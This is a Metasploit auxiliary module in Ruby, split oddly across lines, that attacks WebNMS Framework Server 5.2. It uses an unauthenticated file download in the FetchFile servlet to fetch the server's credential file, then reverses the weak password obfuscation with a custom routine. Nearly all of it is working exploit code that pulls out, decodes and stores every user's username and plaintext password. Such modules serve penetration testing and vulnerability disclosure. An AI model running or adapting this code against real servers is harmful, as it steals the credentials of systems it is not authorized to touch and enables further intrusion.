##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require
'msf/core'
class
MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def
initialize(info = {})
super
(
update_info(
info,
'Name'
=>
'WebNMS Framework Server Credential Disclosure'
,
'Description'
=> %q(
This
module
abuses two vulnerabilities
in
WebNMS Framework Server
5
.
2
to extract
all user credentials. The first vulnerability is a unauthenticated file download
in
the FetchFile servlet, which is used to download the file containing the user
credentials. The second vulnerability is that the the passwords
in
the file are
obfuscated with a very weak algorithm which can be easily reversed.
This
module
has been tested with WebNMS Framework Server
5
.
2
and
5
.
2
SP1
on
Windows
and
Linux.
),
'Author'
=>
[
'Pedro Ribeiro <pedrib[at]gmail.com>'
# Vulnerability discovery and MSF module
],
'License'
=>
MSF_LICENSE
,
'References'
=>
[
],
'DisclosureDate'
=>
'Jul 4 2016'
)
)
register_options(
[
OptPort.
new
(
'RPORT'
, [
true
,
'The target port'
,
9090
]),
OptString.
new
(
'TARGETURI'
, [
true
,
"WebNMS path"
,
'/'
])
],
self
.
class
)
end
def
version_check
begin
res = send_request_cgi(
'uri'
=> normalize_uri(target_uri.path,
'servlets'
,
'FetchFile'
),
'method'
=>
'GET'
,
'vars_get'
=> {
'fileName'
=>
'help/index.html'
}
)
rescue
Rex::ConnectionRefused, Rex::ConnectionTimeout,
Rex::HostUnreachable, Errno::
ECONNRESET
=> e
vprint_error(
"Failed to get Version: #{e.class} - #{e.message}"
)
return
end
if
res && res.code ==
200
&& !res.body.empty?
title_string = res.get_html_document.at(
'title'
).to_s
version = title_string.match(/[
0
-
9
]+.[
0
-
9
]+/)
vprint_status(
"Version Detected = #{version}"
)
end
end
def
run
# version check will not stop the module, but it will try to
# determine the version and print it if verbose is set to true
version_check
begin
res = send_request_cgi(
'uri'
=> normalize_uri(target_uri.path,
'servlets'
,
'FetchFile'
),
'method'
=>
'GET'
,
'vars_get'
=> {
'fileName'
=>
'conf/securitydbData.xml'
}
)
rescue
Rex::ConnectionRefused, Rex::ConnectionTimeout,
Rex::HostUnreachable, Errno::
ECONNRESET
=> e
print_error(
"Module Failed: #{e.class} - #{e.message}"
)
end
if
res && res.code ==
200
&& !res.body.empty?
cred_table = Rex::Ui::Text::Table.
new
(
'Header'
=>
'WebNMS Login Credentials'
,
'Indent'
=>
1
,
'Columns'
=>
[
'Username'
,
'Password'
]
)
print_status
"#{peer} - Got securitydbData.xml, attempting to extract credentials..."
res.body.to_s.each_line { |line|
# we need these checks because username and password might appear in any random position in the line
if
line.include?
"username="
username = line.match(/username=
"([\w]*)"
/)[
1
]
end
if
line.include?
"password="
password = line.match(/password=
"([\w]*)"
/)[
1
]
end
if
password && username
plaintext_password = super_redacted_deobfuscation(password)
cred_table << [ username, plaintext_password ]
register_creds(username, plaintext_password)
end
}
print_line
print_line(cred_table.to_s)
loot_name =
'webnms.creds'
loot_type =
'text/csv'
loot_filename =
'webnms_login_credentials.csv'
loot_desc =
'WebNMS Login Credentials'
p = store_loot(
loot_name,
loot_type,
rhost,
cred_table.to_csv,
loot_filename,
loot_desc
)
print_status
"Credentials saved in: #{p}"
return
end
end
# Returns the plaintext of a string obfuscated with WebNMS's super redacted obfuscation algorithm.
# I'm sure this can be simplified, but I've spent far too many hours implementing to waste any more time!
def
super_redacted_deobfuscation(ciphertext)
input = ciphertext
input = input.gsub(
"Z"
,
"000"
)
base =
'0'
.upto(
'9'
).to_a +
'a'
.upto(
'z'
).to_a +
'A'
.upto(
'G'
).to_a
base.push
'I'
base +=
'J'
.upto(
'Y'
).to_a
answer =
''
k =
0
remainder =
0
co = input.length /
6
while
k < co
part = input[(
6
* k),
6
]
partnum =
''
startnum =
false
for
i
in
0
...
5
isthere =
false
pos =
0
until
isthere
if
part[i] == base[pos]
isthere =
true
partnum += pos.to_s
if
pos ==
0
if
!startnum
answer +=
"0"
end
else
startnum =
true
end
end
pos +=
1
end
end
isthere =
false
pos =
0
until
isthere
if
part[
5
] == base[pos]
isthere =
true
remainder = pos
end
pos +=
1
end
if
partnum.to_s ==
"00000"
if
remainder !=
0
tempo = remainder.to_s
temp1 = answer[
0
..(tempo.length)]
answer = temp1 + tempo
end
else
answer += (partnum.to_i *
60
+ remainder).to_s
end
k +=
1
end
if
input.length %
6
!=
0
ending = input[(
6
* k)..(input.length)]
partnum =
''
if
ending.length >
1
i =
0
startnum =
false
for
i
in
0
..(ending.length -
2
)
isthere =
false
pos =
0
until
isthere
if
ending[i] == base[pos]
isthere =
true
partnum += pos.to_s
if
pos ==
0
if
!startnum
answer +=
"0"
end
else
startnum =
true
end
end
pos +=
1
end
end
isthere =
false
pos =
0
until
isthere
if
ending[i +
1
] == base[pos]
isthere =
true
remainder = pos
end
pos +=
1
end
answer += (partnum.to_i *
60
+ remainder).to_s
else
isthere =
false
pos =
0
until
isthere
if
ending == base[pos]
isthere =
true
remainder = pos
end
pos +=
1
end
answer += remainder.to_s
end
end
final =
''
for
k
in
0
..((answer.length /
2
) -
1
)
final.insert(
0
, (answer[
2
* k,
2
].to_i +
28
).chr)
end
final
end
def
register_creds(username, password)
credential_data = {
origin_type:
:service
,
module_fullname:
self
.fullname,
workspace_id: myworkspace_id,
private_data: password,
private_type:
:password
,
username: username
}
service_data = {
address: rhost,
port: rport,
service_name:
'WebNMS-'
+ (ssl ?
'HTTPS'
:
'HTTP'
),
protocol:
'tcp'
,
workspace_id: myworkspace_id
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::
UNTRIED
,
workspace_id: myworkspace_id
}
login_data.merge!(service_data)
create_credential_login(login_data)
end
end